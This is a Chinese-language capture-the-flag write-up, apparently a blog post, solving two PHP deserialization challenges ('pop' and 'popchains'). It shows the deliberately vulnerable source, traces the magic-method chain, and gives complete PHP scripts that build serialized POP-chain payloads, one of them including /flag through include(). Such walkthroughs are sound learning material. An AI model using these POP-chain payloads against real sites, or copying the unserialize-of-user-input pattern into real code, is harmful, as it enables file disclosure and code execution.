[SWPUCTF 2021 新生赛]pop
<?php error_reporting(0); show_source("index.php"); class w44m{ private $admin = 'aaa'; protected $passwd = '123456'; public function Getflag(){ if($this->admin === 'w44m' && $this->passwd ==='08067'){ include('flag.php'); echo $flag; }else{ echo $this->admin; echo $this->passwd; echo 'nono'; } } } class w22m{ public $w00m; public function __destruct(){ echo $this->w00m; } } class w33m{ public $w00m; public $w22m; public function __toString(){ $this->w00m->{$this->w22m}(); return 0; } } $w00m = $_GET['w00m']; unserialize($w00m); ?>
老规矩首先看代码,这是一道反序列化的题,get传参w00m,然后反序列化w00m。
然后寻找可以利用的点来获取Flag
class w44m{ private $admin = 'aaa'; protected $passwd = '123456'; public function Getflag(){ if($this->admin === 'w44m' && $this->passwd ==='08067'){ include('flag.php'); echo $flag; }else{ echo $this->admin; echo $this->passwd; echo 'nono'; } } }
可以看到w44m类中有Getflag方法可以获取flag,因此我们需要实现Getflag这个方法。
那么如何去实现这个方法呢,我们要知道我们反序列化是不触发类的成员方法;只有我们调用时方法才能触发。
那我们如何去实现呢?
class w22m{ public $w00m; public function __destruct(){ echo $this->w00m; } }
可以看到w22m类有__destruct方法,我们知道__destruct在类销毁时会自动调用,所以这就是我们的入口,知道头和尾后我们就可以构造pop链了,
我们让$a=new w22m;,然后通过调用w33m类中的__toString方法来进行调用w44m中的Getflag方法。
如下:
<?php class w44m{ private $admin = 'w44m'; protected $passwd = '08067'; } class w22m{ public $w00m; public function __destruct(){ echo $this->w00m; } } class w33m{ public $w00m; public $w22m='Getflag'; public function __toString(){ $this->w00m->{$this->w22m}();//若w22m为Getflag方法,那么需要让w33m中的w00m为w44m的对象,这样才能调用w44m中的Getflag()方法 return 0; } } $a=new w22m; $a->w00m=new w33m;//执行w33m类中的toString方法 $a->w00m->w00m=new w44m;// echo urlencode(serialize($a)); ?>
[NISACTF 2022]popchains
Happy New Year~ MAKE A WISH <?php echo 'Happy New Year~ MAKE A WISH<br>'; if(isset($_GET['wish'])){ @unserialize($_GET['wish']); } else{ $a=new Road_is_Long; highlight_file(__FILE__); } /***************************pop your 2022*****************************/ class Road_is_Long{ public $page; public $string; public function __construct($file='index.php'){ $this->page = $file; } public function __toString(){ return $this->string->page; } public function __wakeup(){ if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) { echo "You can Not Enter 2022"; $this->page = "index.php"; } } } class Try_Work_Hard{ protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Make_a_Change{ public $effort; public function __construct(){ $this->effort = array(); } public function __get($key){ $function = $this->effort; return $function(); } } /**********************Try to See flag.php*****************************/
老规矩我们先看代码,可以看到这是一道反序列化的题,通过wish进行get传参来进行反序列化。
然后我们需要看可以获取falg的点,
class Try_Work_Hard{ protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } }
可以看到Try_Work_Hard类中的append方法里面有include函数,所以说我们可以通过文件包含获取flag。
但是我们无法直接去调用append方法,我们可以先进行调用__invoke魔术方法(上一篇我写过如何去调用__invoke魔术方法,并且上一篇buuctf上的题和这道题相类似)来调用append方法。
尾部找到后接着我们就需要找到我们pop链的首部了。
class Road_is_Long{ public $page; public $string; public function __construct($file='index.php'){ $this->page = $file; } public function __toString(){ return $this->string->page; } public function __wakeup(){ if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) { echo "You can Not Enter 2022"; $this->page = "index.php"; } }
看到在Road_is_Long类中有__wakeup魔术方法,我们知道当反序列化还原时最先调用的就是__wakeup魔术方法。
因此我们首部和尾部都已经找到,所以我们就可以构造我们的pop链
构造思路如下: __wakeup() -> 创建 page 为Road_is_Long 类本身 => __toString -> $this->Make_a_change => __get () $this->effort = make_a_change()=> __invoke() -> => append() => include($value); value=/flag
接着我们就可以进行构造了:
<?php class Road_is_Long{ public $page; public $string; public function __construct(){ } public function __toString(){ return $this->string->page; } } class Try_Work_Hard{ protected $var='/flag'; } class Make_a_Change{ public $effort; } $a=new Road_is_Long; $a->page=new Road_is_Long; $a->page->string=new Make_a_Change; $a->page->string->effort=new Try_Work_Hard; echo urlencode(serialize($a)); ?>
然后将获取的值Get传入即可
标签:__,function,w00m,page,ctf,练题,序列化,public,echo From: https://www.cnblogs.com/kode00/p/17253962.html